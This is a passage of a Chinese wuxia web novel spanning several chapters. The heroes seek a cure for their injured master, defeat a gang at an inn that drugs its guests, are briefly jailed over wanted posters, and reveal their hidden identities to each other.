“你骂我什么?母夜叉?找打!”慕容洵再提起剑,又欲冲上去,却被于婉拦在中间挡下。 “好了好了,你们别吵了,都是误会。”“二师兄,你怎么找到这儿来了?” “还不是为了找你啊,自那日落水后,一直没你音讯,你没事儿吧。” “没事儿,昭大哥把我救了。” “那就好,多谢昭兄。”枯恂作揖道。 昭相雪:“小事小事,江姑娘呢?她没事儿吧。” “没事儿,她不会水,所以她留在在江岸边打探你们消息,你们也真是,这么多天了,一点儿消息没有,急死人了。” “二师兄,你看我这不是好好的嘛。” 枯恂笑了笑:“没事儿就好,没事儿就好,那你们收拾收拾,准备出发吧。” 慕容洵:“小兄弟,才刚来就要走啊,这么急,什么事儿啊?” “洵姑娘,实不相瞒,家师受了些伤,我等来江东,乃是为了寻一位良医问药。” “良医?”慕容洵笑了笑:“可不就在我家,实不相瞒,家父可是江东最有名的医师。” 于婉恍然大悟:“哎,确实,老先生医术高超,会不会他就是咱们要找的人。” 枯恂问道:“令尊,可有个药圣的称号。” “药圣?!”慕容洵笑了笑:“我父亲怎会取这么狂的称号,没有没有,我父亲谦雅得很。” “洵姐,那你们有没有听说过哪个神医有药圣尊号的?” 慕容洵摇摇头:“我在江东生活了三十多年,可从没听闻哪位神医敢以药圣自居。” 昭相雪道:“药圣是杜悬老前辈给的尊号,或许,那位神医从未向外人提起过,外人自然也从不知晓这一称号。” 枯恂点点头:“若是如此,那可真就大海捞针,无处可寻了。” 众人失落之际,慕容洵突然说道:“药圣我确实没听说过,但我听说过医圣杜悬,我爹可敬仰得很呢!” 枯恂:“杜悬老前辈医术卓绝,天下医师莫有不敬者,皆以拜入其下为荣,据说,世间良医,十有八九出自杜悬门下。” 昭相雪:“洵姑娘,令尊医术这么好,是跟杜悬老前辈学的吗?” 慕容洵:“没有没有,我爹他纯靠自学,也就瞎琢磨而已,没人教,不过,我爹倒是和杜悬前辈交流过一些用药心得。” 枯恂大惊:“你爹见过杜悬前辈?” 慕容洵笑道:“当然,杜悬还夸我爹用药高超呢!” 于婉:“洵姐,你说的这事,是不是发生在三十年前的一场瘟疫里?” 慕容洵点点头:“哎,我还没说呢,你怎么知道的?” 昭相雪道:“洵姑娘,反正现在也没事儿,要不你给咱们讲讲三十年前,令尊与医圣的故事吧。” 于婉:“对啊,洵姐,讲讲呗。” “婉儿想听,那我就简单讲讲吧。三十年前,我爹带着年幼的我隐居此岛,基本上,每隔两个月都会出岛一次,将岛上珍稀药材换成钱粮,再买些衣服、盐米回来。有一次,我爹出岛时,正值瘟疫横行,医圣杜悬苦研良药,终于制得良方,成千上万的患者挤入药房,很快将本就稀缺的药材抢购一空,无药可用,良方亦无良效。当时,我爹听闻医圣在江东,专程前去拜访,但医圣此时被药材急得焦头烂额,哪有时间接客。父亲知道原因后,仔细研究医圣的药方,没过多久,便想到良策,以此登门拜访,两人昼夜商讨许久,将几味稀缺药材,换成几味寻常草药,效果虽减了些,但只要长久服用,任能痊愈,终于将瘟疫除去。” 第五十七章 乱世前夕 司州,白马寺: 一道长缓缓走来。 白马寺秋殇大师和其他僧众正恭迎在大门口:“谷道长,别来无恙啊。” 这位道长来头可不小,乃是凌云谷谷主——谷月清。 “别来无恙,秋殇大师。”谷月清笑了笑。 “快快请进。”秋殇一叶将谷月清带进大殿中。 看着宽广如昔的大殿,谷月清感叹道:“白马寺还是老样子啊,数十年来,一如往昔!” 秋殇一叶摇摇头叹息道:“可这天下,却早已变了样啊。” 浮生一花:“魔教复辟之势已是昭然若揭,谷主可有妙计应对?” 谷月清严肃说道:“谈不上什么妙计,我只是觉得咱们不能再坐以待毙,任其发展了,应该马上联合起来,彻底击败魔教余孽!永绝后患,还天下武林一个太平!” …… 豫州,豫蛇庵上,一大夫正在医治韦凌峰,杜菱则在另一房内盘坐休息,恢复内力。 一弟子敲了敲杜菱房门:“师傅,白马寺的人送来一封信。” “进来吧。” 那弟子推开房门,将信递给杜菱,杜菱接过信阅完后,大惊。 “没料到,这魅影教竟真是百年前为祸中原的万幻宗,如此一来,武林必将再掀起一场血雨腥风啊!” 那弟子疑惑问道:“师傅,什么是万幻宗啊?” 杜菱摇摇头:“芸儿,你把大家都叫到大厅来,我有话要跟你们说。” “是”(苏云冉:杜菱三弟子。) 凉州,赤影帮总坛: 一弟子走进大殿之中,对张延说道:“帮主,并州刺史董卓有信来报。” “董老哥?快,递上来。” 那弟子将信件递给张延,张延接下信阅毕,大喜。 老三屠岸冥问道:“大哥,何事如此欣喜。” “三弟啊,董老哥,要请我们去当将军了!” “当将军?”屠岸冥一脸懵逼。 “前不久,卢植被朝廷罢免,改拜董老哥为中郎将,全面接管冀州战区事务,董老哥想让我们跟他一起去冀州,协助他击败黄巾军。” “如今张角已死,太平道精英在冀州帅府一战死伤大半,剩下的不过是乌合之众耳,击败他们哪儿用得着我们出手!”屠岸冥不屑道。 “三弟,这不是更好吗?如今,太平道一盘散沙,完全没有战斗力,如此省力又讨好的活儿,上哪儿去找啊!”张延笑道。 屠岸冥这才反应过来,领会其意,也大笑起来。 还没开心多久,又一弟子进入殿中:“禀告帮主,白马寺有信来报。” “白马寺?”张延接过信看起来,阅毕,脸色大变。 “大哥,什么大事儿啊,怎么脸色这么难看?”屠岸冥问道。 张延也不多话,直接将信递给了屠岸冥。 司州,白马寺: 书房之中,秋殇一叶和谷月清正在静坐着品茶。 “只可惜,凌空剑谱落入敌手,而孤殇长老又受了重伤,联合杀招怕是练不成了。”秋殇一叶无奈道。 “其实,联合杀招倒也未必练不成,孤殇有个亲传弟子,名叫枯恂,他也会凌空剑法,且两年前剑法已经突破六层,这两年来一直在修炼第七层,已是小有成效,枯恂剑术天赋极高,突破瓶颈倒不是难事。”谷月清喝口茶,细细说道。 浮生担忧道:“只第七层?能行吗?” “第七层和第九层的威力,确实是天差地别,但现如今,也只能如此了。”谷月清叹息道。 秋殇一叶点点头:“只是,如今这《万幻影诀》也是下落不明,若是落入歹人手中,咱们灭了魅影教,几年之后再出个幻影教、绝影教的,江湖岂不是永无宁日。” “唉,都怪我凌云谷看管不周啊。”谷月清作揖赔礼道。 秋殇立马打住:“谷兄,我并没有要怪罪谁的意思,只是当务之急,应该赶紧找回失物才对。” 浮生道:“非也,这些秘籍以后再找不迟,当务之急,该是合力击破魔教才是。” 黄骷岛: 慕容洵故事讲了大半,众人喜笑开颜,令尊岂不正是众人苦苦寻找的药圣嘛! 慕容钧:“元气大伤静养三五即可,胡乱用药可是大忌。” 枯恂作揖道:“前辈,家师年岁已大,静养三五年实在耗不起啊。” “爹,你就帮帮婉姑娘他们吧,到底什么药能愈合元气啊,快说说吧。” 于婉道:“只要有一丝希望我们都愿试试,还望前辈告知。” 慕容钧见众人执着,只好将自己所知告知众人:“其实,我也只是听义父随口一说罢了,那药是否真有效,我也拿不准。” “我义父曾经与别人起过争执,打过架,伤了元气,借宿在一个樵夫家中,义父本想着待个两三月,先把皮肉伤治好,元气以后再慢慢调息修复,哪知,在樵夫的悉心照料下,义父的元气竟很快愈合!义父推断,乃是昆山雪莲之奇效。” 枯恂道:“昆山雪莲?那是何物?” “据那樵夫所言,昆山雪莲乃是他少时与亲朋游历昆仑山脉时,于雪崩过后所采,樵夫与故友死里逃生后,那雪莲一直闲置在家中,放了几十年了。” 枯恂:“原来如此,多谢前辈告知。” 第五十八章 归去来兮 众人拜谢之后,踏上归途。 昭相雪:“多谢前辈救命之恩,大恩大德,没齿难忘。” 慕容钧:“不过是帮忙煎个药罢了,要谢啊,你还得谢婉姑娘。” 于婉笑了笑:“前辈再见,以后有空,我们会回来看你的。” 慕容钧:“好啊,注意安全,记住我说的话,万事小心。” 于婉点点头。 “爹,我也要走了。” “想清楚了?不是一时冲动吧。” 慕容洵摇摇头:“当然不是,明年枫叶飘落之前,我一定会找到他的。” “好,去吧,爹爹相信你!” “没事儿多晒晒太阳,老窝在房里炼药会生病的。”慕容洵提醒道。 “哎呀,放心吧女儿,别担心爹,爹好得很。” “是是是,好得很,注意身体,可千万别感冒了,小心毒蛇猛兽!” “哎呀,爹都活了几十年了,你嘱托我这些干嘛,爹都清楚得很。”慕容钧表面上极不耐烦,眼角却泛起泪光。 “放心去找他吧,爹支持你。” “爹,你是全天下最好的父亲!”慕容洵哭着点点头,抱紧慕容钧。 “都多大的人了,还哭鼻子。”慕容钧轻轻拍了拍女儿后肩:“好了好了,大家都等着呢,快走吧。” 四人坐在一叶小舟上,离开了黄骷岛。 日子没选好,天气阴阴沉沉的,江上雾瘴弥漫,五米之外人畜不分,所幸江流还算平缓,无风也无雨,倒不存在翻船的危险。 “你们坐好了,别到处走动,这么大的雾瘴,若是谁掉江里去了,再想捞起来可不容易。”慕容洵叮嘱道。 “洵姑娘,还有多久到下个渡口啊。”枯恂一边划船一边问道。 慕容洵看看这船行进速度,心中默默一算:“大概,还得两个时辰吧。” “这么久,昭兄,咱们划快些。”两人撸起袖子,加快了速度,小船飞速前进着,刚划了没多久,江上突然刮起大风,推动着小船急速向前。 枯恂提醒道:“大家把船抓紧些,坐好了,可别被风给吹下去了!” 话音刚落,便听见一声巨响,船身开始猛烈摇晃,枯恂一个踉跄落下水去,(这就是不牢牢抓紧的后果,大家引以为戒。)众人抬头一看,居然撞船了! 还好还好,对面并不是穷凶极恶的海寇,也是一艘小渔船,船上只有两人,皆头戴棕色斗笠,一人穿着粗麻布衣,是个船夫,一人身着青墨长衫,有些瘦弱,似乎是个女子。 “你们没事儿吧。”那女子问道。 慕容洵一听这声,只觉熟悉,抬头看去:“干娘?!” 那人取下斗笠,朝慕容洵笑了笑:“洵儿,怎么是你啊。” 斗笠之下,是一个妇女,虽是年过五旬,但皱纹并不多,发色也还算黑亮,五官精致,年轻时,估计也是一代绝色佳人!不知其姓,慕容洵叫她干娘,百姓则尊称她:妍夫人。 “干娘,您去哪儿了?怎么去了这么久啊。” 妍夫人小声对身边船夫说了些什么,那船夫点点头,接着,妍夫人轻功一施,宛若蜻蜓点水一般,轻轻一跳,来到慕容洵身边,此时落水的枯恂也被昭相雪拉回船中。 “我去扬州义诊了,那边病人多,大夫少,一忙起来,就忘了时间,一眨眼,都过去一年了。”妍夫人笑了笑,再问道:“哎,他们是?” “哦,这位是我小妹——于婉,这些是她的朋友,都是些侠义之士,这位叫昭相雪,冀州人士,这位叫枯恂,益州凌云谷二弟子。” 妍夫人一脸疑惑,问道:“我在黄骷岛生活了有十八年吧,可没见你有过妹妹啊。” 慕容洵道:“我与她志趣相投,最近才结识的。” 于婉亦礼貌唤了声干娘。 “原来如此。你们这是准备去哪儿啊?” “随便找个渡口,牛头滩吧。” “牛头滩离这还有个多时辰呢,褐石镇那边新修了个滩口,离这儿才小半时辰。” “真的,那我们就到那儿下吧,干娘,你带带咱呗。” “行。”妍夫人回头对船夫说道:“小赵,回褐石镇,你在前面带带后面这艘船,别开得太快。” “好咧。” 豫州:豫蛇教 “师傅,不是说的下个月才召开武林大会吗?我们走这么急干嘛”二弟子秦嫣柔问道。 青菱师太道:“早去晚去都得去,此去白马寺,路途遥远,咱们豫蛇教乃是武林大派,若是路上有变,耽误了行程可不好,还是早些动身吧。” 苏芸冉道:“师傅,可是,大师姐还没回来呢!” 秦嫣然道:“小冉,师姐她又不是三岁小孩儿,她去过白马寺,知道路的。” “嗯,我已经给潇儿飞鸽传信了,她应该会准时前往司州的,你们收拾收拾,明早出发。” 苏芸冉又道:“咱们这一走,豫州只怕又会涌来无数山匪。师傅,不如,留些弟子守庵吧。” “也行,那就你带些弟子留下吧。” “是。” 褐石镇: 一队官兵来到滩头,在公示墙上,贴下几张悬赏令,为首兵长对村民喊道:“各位乡亲,都过来瞧瞧,上面这些,都是朝廷重犯,你们谁要是发现了他们踪迹,立刻通知官府,相爷有重赏!”村民听闻有赏立刻凑过来,仔细看起来。 “如何,有谁知道他们踪迹吗?” 众人议论纷纷,但却没一人知道悬赏令上的踪迹。 兵长摇摇头发牢骚道:“十几年前的案子了,今天才来找,哎。”话罢,带着手下离去。 官兵前脚刚走,后脚,昭相雪等人便到了滩头。 “干娘,这一趟麻烦您了,让您专程送我们回来,谢谢了。” “说什么呢,傻丫头,我是你干娘,哪儿有什么麻烦不麻烦。”“好了,你们不是还有事儿吗?快走吧。” “好,干娘再见。”“妍夫人再见。” 女子一身墨青长衫,坐在船上,背对着众人,摆摆手,缓缓远去…… 第五十九章 褐石镇 褐石镇滩头: 四人刚进滩头,立马看见江雨潇,此刻她正全神贯注看着公示牌上的悬赏令。 “潇儿,你身体好些了没。”枯恂近身问道。 江雨潇立马示意其止声,让众人看公示牌。 几人近前一看,一共五份悬赏令,前面三份都是缉拿杀人犯、江洋大盗的,赏银为20两,第四份竟是于婉的!没有画像,只有文字:缉拿青翼派司寇箫之女司寇晨,协助缉拿者,赏金百两。最后一份更扯,竟是昭相雪的,而且,不仅有文字,还有画像,画得还十分相似,赏金同样为一百两。 公示牌下围满了人,议论纷纷。 “这相国也不知是那根筋不对,十几年前的案子,现在来查。” “就是啊,而且,这事明明是归青州管的,不知道他瞎掺和啥。” “这个昭相雪也不知何许人也,上面也没说他到底犯了什么罪,悬赏金竟然有一百两!” …… 当下,众人议论纷纷,昭相雪自是慌得一批,赶忙低头离开。 与昭相雪的反应不同,于婉倒是丝毫不慌,毕竟她现在隐姓埋名,对外化名于婉。此刻,她一脸奸笑的看向昭相雪:“说说吧,犯了什么事啊?” 昭相雪急忙撇清:“能犯什么事啊?我正人君子好吧,一定是有什么误会!” 慕容洵笑着再添把火道:“有误会?那我们应该去官府解释清楚才是啊。” “对啊,昭兄,有误会就得说个清楚,说个明白,走,咱们现在就出发。”枯恂抓着昭相雪的手,佯装要拉他去官府。 “哎呀,别闹了。”昭相雪一把甩开,小声道:“枯兄,你想害死我啊!” 江雨潇道:“你们别闹了,昭少侠,到底怎么回事儿啊,官府为何无缘无故要悬赏重金抓你啊。” 昭相雪一脸懵逼:“我怎么知道啊,难不成,他们抓我,是因为我之前是太平道渠帅?可那段时间,我也没做过什么伤天害理的事儿啊,不信你们问枯兄,他也是渠帅,他可以给我做证。” 枯恂大惊,立马闪开,摆摆手道:“昭兄,这事儿你千万别问我,我什么都不知道,也不是什么渠帅,我可不想上这通缉令。” 昭相雪把手架在枯恂肩上,笑道:“说什么呢,枯帅,咱们可是一起拜过把子的义兄弟啊。等一下,我仔细想了想,我在冀州,确实是与民秋毫未犯,不过,咱们枯帅可就不同了啊!你可是在豫州打过仗,好像,还洗劫过百姓钱粮吧!” 昭相雪还要说些什么,枯恂立马捂住他嘴:“昭兄,昭兄!有话好说!我证明,你确实没犯事,你是清白的,绝对是清白的。” 慕容洵笑了笑:“我们当然相信昭相雪是清白的,不过,你是不是清白的,那可就不知道了。” 枯恂急了:“我当然也是清白的,昭兄,你快帮我证明证明啊。” 昭相雪指了指枯恂捂自己嘴的手,点点头,枯恂立马松开,昭相雪顺势退开,站在慕容洵旁边:“我证明,他犯了好多事儿,你们快把他抓去官府,好好审审!” “哎,昭兄,我们可是拜过把子的,你怎么能害兄弟我呀!” 江雨潇笑了笑,亦道:“我也证明,你确实不是清白的,在长杜,你还帮黄巾贼们运过粮呢!” 枯恂反驳道:“那次功大于过好吧,长杜布防图不是我给你们的吗?” 江雨潇“绝情”的摇摇头,道:“不是,是苏起师兄给我的,关你什么事儿啊,哦,对了,你还恐吓我们,逼迫我们豫蛇教归顺太平道!” 于婉又道:“还有还有,在冀州,我还看见你进过青楼,调戏良家妇女!” “没有,这个绝对没有,小师妹,你这是诽谤!” 江雨潇一脸怒色:“你真去了?” 枯恂眉毛都急歪了:“没有,这个真没有!” 慕容洵道:“你们同为渠帅,莫非,昭大侠也去过?” 昭相雪丝毫不慌:“怎么可能,我正人君子的好吧。” 枯恂点点头,定睛一想,发现事情并不简单:“为什么要用‘也’啊,我真没去过,真的!” 慕容洵点点头:“别紧张嘛。开个玩笑而已,里面的酒好喝吗?” “一般般吧,也不是很好喝。”枯恂看着昭相雪脱口而出。 昭相雪亦点点头:“嗯,我感觉那里面的酒有点儿苦。” 两人丝毫不觉已然暴露,场面一度十分安静。 “呵,臭男人!”江雨潇、慕容洵、于婉三人肩并肩,头也不回,不屑离去。 枯恂看着昭相雪摇摇头:“快别提了,想起来都苦!” 望着远去的三位姑娘,枯恂和昭相雪在风中凌乱,两人这才反应过来,一脸惊恐,昭相雪缓缓道:“我们好像,说漏了!?” 枯恂也反应过来,一脸惊恐,向前追去:“江姑娘,误会啊,咱真没去过!真的!昭兄可以作证啊!” …… 昭相雪回头再望了望告示牌,暗思道:“这司寇姑娘的案子是十几年前的事了,如今官府又出重金悬赏她,莫非,是有人向官府,高发了她的行踪?” “前面有家客栈,我们去吃点儿东西吧。”枯恂指了指前面的客栈。 江雨潇道:“这才走多久啊,这么快你就饿了?” 慕容洵又道:“后面还有一大段山路呢,行不行啊你。” 枯恂笑了笑:“我看啊,你们都没出过远门吧,现在不吃,待会儿出了镇,走山路饿了,再想吃顿热菜,那可就没有客栈接待我们了!” “走吧,随便吃点儿,垫垫肚子。”于婉走在前面,快步进了店。 这家客栈,店铺不大,生意也很冷清,一共八张客桌,只有一张客桌正在用餐,流里流气的坐着四个大汉,面像凶狠丑恶,从昭相雪他们进店开始,便一直窥伺着他们。 “这家店好奇怪啊,不会是家黑店吧!”昭相雪小声对几人说道。 “他们要是黑店,我们正好惩奸除恶。”江雨潇丝毫不惧,直接坐在那桌对面。 枯恂快步上前,坐在江雨潇身旁,附和道:“就是,这种惩奸除恶的好事,本侠士可不会错过。” “光天化日,哪儿来那么多歹人。”慕容洵一脸轻松,坦然坐下。 昭相雪笑道:“我也就是给你们先提个醒,可别马虎大意。”话罢,放下行李坐好。 于婉道:“那是,我先说好,若真是家黑店,你们可别拦着我,我非拆了他不可,也别帮忙,我一人足矣!” 枯恂拿起茶壶往碗里倒好茶水,立马喝下:“都是你的,没人跟你抢。” 第六十章 达成成就:惩恶扬善 众人坐好后,众人喊来小二点菜。 小二笑道:“客官,听口音,你们是从外地来的吧?” 枯恂道:“嗯,初来乍到,也不知哪些菜好吃,你就随便给我们上些特色菜好了。” 小二听后笑了笑:“好的,客官稍等。” 片刻后,酒菜上齐,几人慢慢吃起,才刚吃没多久,便出了意外,众人皆浑身软绵无力,夹个菜都费劲。 “怎么回事?我感觉浑身软绵绵的。”枯恂头有些下垂,想瘫在桌上,但被意志强行支撑着,小声对众人说道。 “我也是,莫不是这饭菜里被人下了药?”慕容洵 枯恂转身看向江雨潇道:“江姑娘,昭兄弟,你们怎么样?” 江雨潇摇摇头,也不多话,看起来,也是身疲力乏。 昭相雪亦摇摇头,满脸疲惫。 “无耻小贼,你们别怕,我百毒不侵,我来对付他们!”于婉话罢放下碗筷,直奔前台。 “光天化日之下,你们这家黑店竟敢在饭菜里下药?”于婉一把揪起掌柜的衣领,冲他吼道。 “我没有啊,下什么药啊?你可别冤枉我啊。”掌柜一边狡辩着,一边朝那四个壮汉眨眨眼。 这时,旁边那桌四人立马起身,一人去把店门关上,另外三人慢慢向于婉走去。 见了此景,众人瞬间清醒,原来,除了枯恂,其余几人根本没有吃饭,皆留了个心眼。 枯恂一脸尴尬:“你们……” 昭相雪笑了笑:“枯兄,早跟你说过是家黑店,长点心啊。” 江雨潇摇摇头,翻翻包袱,从里面摸出个药盒,取出一粒药,喂枯恂服下。 此时店门已关,于婉还在和店家理论:“你没下药,他们怎么会昏倒。”于婉指了指一旁假意昏倒的昭相雪和慕容洵等人。 掌柜的笑了笑:“那你怎么没晕呢。”虽然于婉没晕是意料之外的事,不过,眼前这个小小的弱女子,还能翻天不成,问题不大。 “是啊,小姑娘,你怎么没晕啊。”那桌的三人也已经走到于婉身后,将她团团围住。 原来,这是一家巨黑的黑店,这四个大汉和店家互相勾结,专挑外地人下手,先用迷药迷晕客人后,再拿走他们身上的财物。 于婉回头看了看三个大汉,毫无惧色,完全不搭理他们,松开掌柜衣领,右手前伸,恶狠道:“交出解药,我可以绕你们一命。” 众人听了大笑,一个大汉在后面摸着于婉的头发笑道:“一个弱女子,斗什么狠,要斗狠,不如到我的床上去斗狠。”此话一出,众人更是大笑起来。 于婉话不多说,右手向后一伸,迅速抓住那个大汉的手,向下一掰,直接将其手骨掰错位。 大汉惨叫起来,另一手挥拳猛击于婉,于婉侧身躲过,一个横踢,将其踢翻在地。另外两人见于婉下手如此狠厉,皆向后退了两步。 当下,那个关门的大汉也过来帮忙了,众人拿起大刀,再将于婉围住。 “光天化日之下,竟敢为非作歹,今天,我就替百姓惩奸除恶!” “惩奸除恶?那就看你有没有那个本事了。”一大汉提刀冲了上来,另一边,小二也提起刀,跟着冲了上去。 于婉丝毫没把他们放在眼里,径直冲向那大汉,大汉抽刀砍来,于婉用剑套挡下,借助巧力,竟将那刀抬起,横剑一扫,将大刀击落。再是一个横踢,踢中大汉腰部,将其踢到一旁客桌下,力度不小,桌腿都撞断了。 接着,她闪过小二的大刀,向前一步,一个高抬腿,这次踢中的是头部,小二直接被踢翻在地,晕了过去。 剩下几人见了此景,哪儿还敢头铁,皆放下武器,纷纷跪下求饶“英雄饶命,英雄饶命。” “解药拿来。” 掌柜见状,急忙摸出解药,递给于婉。 “女英雄,可以饶我们了吗?” “我当然可以,但只怕百姓不答应,跟我去见官!”于婉喊道。 “啊。”几个人见于婉不想放过他们,纷纷又拿起刀来,向门外跑去。 这时,门被人一脚踹开,涌入了很多官兵。为首的捕头,握着官刀说道:“有人举报你们这店是家黑店,掌柜呢?跟我走走吧!” 三人见了,赶紧将刀藏在身后,掌柜狡辩道:“没有啊,怎么会?” 于婉立马说道“就是黑店,我朋友都被他们迷晕了。” “拿下!” 当下,二十多名官兵齐上,这些歹徒哪儿敢还手,都低头,放下了刀任官兵发落。 抓走黑店恶霸后,慕容洵等人相视一笑,走向于婉。 于婉楞道:“你们?没事?” 昭相雪笑了笑:“若是我们连这等拙劣手法都无法识破,如何在江湖立足,是吧,枯兄。” 枯恂脸色好了些,但仍有些虚弱,尴尬一笑,并未作答。 于婉一脸不悦:“你们一直醒着,为何不来帮我。” 昭相雪瞬间语塞,冷汗直冒,不知该如何作答。 慕容洵道:“婉儿,你这可就不对了,可是你先前说到底,不许我们出手相助的。” 于婉细细思量,大笑起来。 此时,捕快走向众人:“你们几个都是证人,跟我走一趟,录个笔录吧。” 昭相雪大惊,立马推辞道:“啊,我们还有急事,就不去了吧。” 众人亦附和有事,摆手推辞,毕竟昭相雪现在可是“通缉犯。”真去了官府,必然被识破。 “那可不行,我们官府办事讲究物证人证俱实,你们都不配合,我们很难将他们法办啊。”捕头显然没有要让众人脱身的意思。 当下,捕头态度坚决,众人若再是推辞,只怕倒还露出破绽,只好跟着捕头,去了官府。 官府大堂之上。 几个犯人跪在地上,于婉、昭相雪等人则站在一旁。 “你们五个叫什么名字啊。”县太爷问道。 “于婉” “慕容洵” “江雨潇” “枯恂” “昭~昭无言”昭相雪低着头说道。 “昭无言?!”县太爷见昭相雪如此紧张,说道:“你低着个头干嘛,把头抬起来。” 昭相雪听后只好缓缓将头抬起。 县太爷多看了昭相雪两眼,和案台上的一张画像仔细对比起来,大喊道:“昭相雪?!来人,给我拿下!” 第六十一章 坦白 大牢之内,昭相雪等人被分开关在两间牢房,昭相雪、枯恂一间,于婉、慕容洵、江雨潇三人一间。 “怪我,本来昭大哥早就察觉到不妥了,直接转身离开不就屁事没有了吗?哎,我真是。”于婉自责起来。 “婉儿,事已至此,计较这些也没用,别自责了。”慕容洵安慰道。 “没事儿,于姑娘,我又没犯法,他们凭什么抓我啊,没事儿的,别自责了。”昭相雪凑近牢栏,温柔安慰道。 “怎么会没事儿啊,他们不会平白无故抓人的,一定是你加入太平道~”于婉正要说些什么,慕容洵一把捂住:“事情还没个定论,不要自乱阵脚。” 枯恂笑了笑,拍拍昭相雪肩膀打趣道:“应该不是那破事,讲道理,我犯的事可比昭兄罪孽深重得多,上面竟没有我枯榆的悬赏令!分明瞧不起我。” 江雨潇道:“都什么时候了你还有心思在这儿说胡话,想想办法,怎么出去吧,时间不多了,我们还要赶去白马寺呢!” “这能有什么办法啊?若是太平道关我们,我们还可以找个机会冲杀出去,可如今是官府的人,我们若是莽撞行事,明天各大城镇的公示牌上,咱们五个的悬赏令可就都得贴上去了。” 江雨潇耸耸肩道:“贴就贴呗,他们胡乱抓人在先,我们本来就没错,谁怕谁。” 枯恂突然想起什么:“不对啊,昭兄之前在太平道里用的可是化名啊,怎么会……” 正话间,门外脚步声起,众人都收了声,靠墙端正坐好。 “相国好。”两旁衙役对一个中年男子问好道。 那相国径直走到昭相雪牢门前,示意狱卒打开牢门,接着走了进去,立在昭相雪面前,仔细的看着他:“昭儿,你可真是忙啊,都三年了,连写封信往家里寄的时间都没有吗?” 听了这话,昭相雪有些茫然,抬头一看,大笑起来。 “爹!”昭相雪一把上前抱住那相国。 于婉、慕容洵等人一脸懵逼,慕容洵看向于婉,于婉木木的摇了摇头。江雨潇看向枯恂,枯恂亦是木木的摇摇头。 原来,这位鲁地的相国,正是陈逸,黄巾之乱爆发后,朝廷害怕党人倒戈参加反叛,遂下令解除党锢之祸,陈逸因此被举荐为鲁地相国。 相府内: 众人聚在一起用餐。 “昭儿,好本事啊,三年不见,长能耐了。”陈逸看了看于婉和慕容洵还有江雨潇,试探性的开玩笑道。 “爹,你瞎说什么呢,都是普通朋友。”昭相雪连忙解释道。 陈逸道:“普通朋友?这三位全是普通朋友?” 昭相雪点了点头。 陈逸摇了摇头,叹息两声:“这些朋友,你是在哪儿认识的啊?” “爹,这位叫于婉,是我在洛阳认识的,这位是她的义姐,慕容洵,江东人士。还有这位,叫枯恂,蜀州人士,是于婉的师兄,这位叫江雨潇,豫州人士。”昭相雪粗略的介绍了个大概。 “叔叔好。”众人端起茶向老人问好道。 陈逸笑了笑,回了个礼节道:“这些菜还合你们口味吧?” “味道好极了,比外面酒店里的菜都好。”枯恂一边夹菜,一边夸道。 陈逸满脸悦色,吩咐丫鬟给众人盛汤:“别光吃菜,尝尝这汤如何。” 众人喝了汤,都直夸这汤美味,火候把握恰到好处。 “于姑娘,你和昭儿是在洛阳认识的,那你住在洛阳何处啊?”陈逸又问道。 “伯父,我并非洛阳人士,我之前生活在青州,家里的亲人在我八岁时就去世了,我拜了个师傅,后来便一直生活在益州。” “哦”意识到于婉身世可怜后,陈逸不再多嘴,又给她盛了碗鸡汤,递给于婉“来,于姑娘,多喝些鸡汤,你看你瘦的,多吃点儿。” “谢谢伯父。”于婉接过鸡汤,微微一笑。 听到青州,陈逸突然想起什么,问道昭相雪:“找到那位姑娘了吗?” 昭相雪摇了摇头。 姑娘?哪位姑娘?于婉一脸疑惑的看着昭相雪,显然,昭相雪有事儿瞒着她们,不过,这也正常,谁还没点儿私事儿呢? 陈逸叹息两声道:“这都过去十六年了,再往后拖,只怕更难找啊。” 于婉道:“昭兄,你们再找谁啊?哪家的小姑娘?说不定我们认识啊。” “青翼派龙王的女儿:司寇晨。” 于婉一惊,竟是在找自己!? 枯恂连忙插话道:“小师妹,你忘了,昭兄之前在冀州还让咱帮忙找来着,还说与她有旧仇呢!” “有仇?!”于婉一听,才想起确实有这回事儿,不过她当时并不知道自己便是司寇晨,丝毫没留意。 慕容洵放下碗筷,小心翼翼的问道:“昭少侠,你和那位叫司寇晨的,到底有什么仇啊?” 场面一度很安静,陈逸一脸疑惑的看向昭相雪,昭相雪尴尬一笑,解释道:“嗨呀,当时不是党锢之祸还没解嘛,恩公一家还在阉党的通缉令上,我想打听她的消息,总不能说她是我恩公的女儿吧,若如此,官府早把我抓了。” 枯恂问道:“昭兄,恩公指的是司寇箫?” “没错,现在真相大白了,也没什么好遮掩的了,其实,我的真名叫陈昭,司寇萧前辈之前在益州救过我们……” “陈昭?你就是陈昭?”于婉突然惊叫一声,满脸惊讶。 众人看向于婉,皆是疑惑。 枯恂尴尬一笑,以为于婉在搞怪:“小师妹,昭兄行走江湖,不用本名很正常,别大惊小怪的,听昭兄说完。” 于婉满脸喜悦,连连点头。 接着,昭相雪将往事大致告诉众人,席上客人无不惊奇。 枯恂举杯敬道:“昭兄,我敬你,这些年,你受苦了。” 于婉道:“咱们一起吧,叔叔,你们受苦了。” 众人你一杯我一杯的,豪饮起来,桌上酒菜渐渐空去。 “昭儿,大半年不见,酒量见涨嘛!” “爹,是您老了,酒量变低了,您可别喝醉了啊!” “哈哈,以前,我们陈家遭受阉党诬陷,我确实借酒消愁,喝醉过无数次,但现在,真相大白了,你爹我贵为鲁地相国,今后绝不会再喝醉了。” “嗯。” 饭后,众人在庭院散步。 昭相雪道:“对不起各位,之前骗了你们。” 枯恂道:“形势所迫,可以理解,没事儿。” 于婉笑了笑:“昭大哥,其实,我也骗了你。” 枯恂见状,拦住余下几人,往另一路走去,留下于婉枯恂独处。 两人向前慢慢走去,浑然不知身后众人已往其他路走去。 “婉姑娘。莫非,你的真名也不叫于婉?” 于婉笑而不语,反问道:“这些年,你们找到那位叫司寇晨的姑娘下落了吗?” 昭相雪摇摇头:“只知道当年她被人救走了,具体下落,至今不知。” “你这么费力找她,只是为了跟她道谢?” “当然不止,恩公当年舍命救我,曾有遗物托付给我父亲,让我父亲一定要转交给朱姬杜菱、或者白侠展平,但我父亲还没找到他们时,却传来两人已然归西的噩耗,恩公遗命我们必须得完成,一番打听下,得知恩公有一女儿尚存于世,所以我们想找到她,一来谢当年救命之恩,二来将恩公的遗物交还给她。” “我父亲还有遗物?到底是什么?快拿给我看看。”于婉一时嘴快,忘记自己还没介绍身份呢。 “你父亲?等等,你的意思是说?你就是司寇晨?” 于婉笑了笑:“没错,行不更名坐不改姓,本姑娘便是司寇晨!” 昭相雪欣喜若狂“真的假的?” “当然是真的啊,师兄还有洵姐他们都可以给我证明啊!” “他们都知道你的身世?” 于婉尴尬一笑,点点头。 两人边走边聊,不觉走到陈逸书房。 